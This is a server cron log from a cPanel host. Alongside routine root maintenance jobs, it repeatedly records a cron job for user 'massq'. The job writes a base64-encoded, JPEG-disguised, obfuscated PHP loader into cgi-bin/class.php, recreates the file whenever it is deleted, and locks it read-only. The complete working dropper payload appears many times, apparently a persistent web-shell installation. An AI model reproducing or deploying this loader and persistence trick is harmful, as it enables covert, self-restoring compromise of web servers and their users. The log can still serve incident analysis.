Sep  1 11:24:01 server CROND[25632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:25:01 server CROND[26030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:25:01 server CROND[26031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:25:01 server CROND[26034]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:25:01 server CROND[26035]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:25:01 server CROND[26033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:25:01 server CROND[26040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:25:01 server CROND[26039]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:26:01 server CROND[26862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:26:01 server CROND[26865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:26:01 server CROND[26863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:27:01 server CROND[27345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:27:01 server CROND[27347]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 11:27:01 server CROND[27346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:27:01 server CROND[27344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:28:01 server CROND[27741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:28:01 server CROND[27742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:28:01 server CROND[27743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:29:01 server CROND[28137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:29:01 server CROND[28138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:29:01 server CROND[28139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:30:01 server CROND[28533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:30:01 server CROND[28535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:30:01 server CROND[28536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:30:01 server CROND[28537]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:30:01 server CROND[28538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:30:01 server CROND[28539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:30:01 server CROND[28540]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:30:01 server CROND[28542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:31:01 server CROND[29385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:31:01 server CROND[29387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:31:01 server CROND[29386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:32:01 server CROND[29789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:32:01 server CROND[29790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:32:01 server CROND[29791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:33:01 server CROND[30274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:33:01 server CROND[30275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:33:01 server CROND[30276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:34:01 server CROND[30664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:34:01 server CROND[30665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:34:01 server CROND[30666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:35:01 server CROND[31083]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 11:35:01 server CROND[31085]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:35:01 server CROND[31088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:35:01 server CROND[31089]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:35:01 server CROND[31092]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:35:01 server CROND[31091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:35:01 server CROND[31093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:35:01 server CROND[31096]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 11:35:01 server CROND[31090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
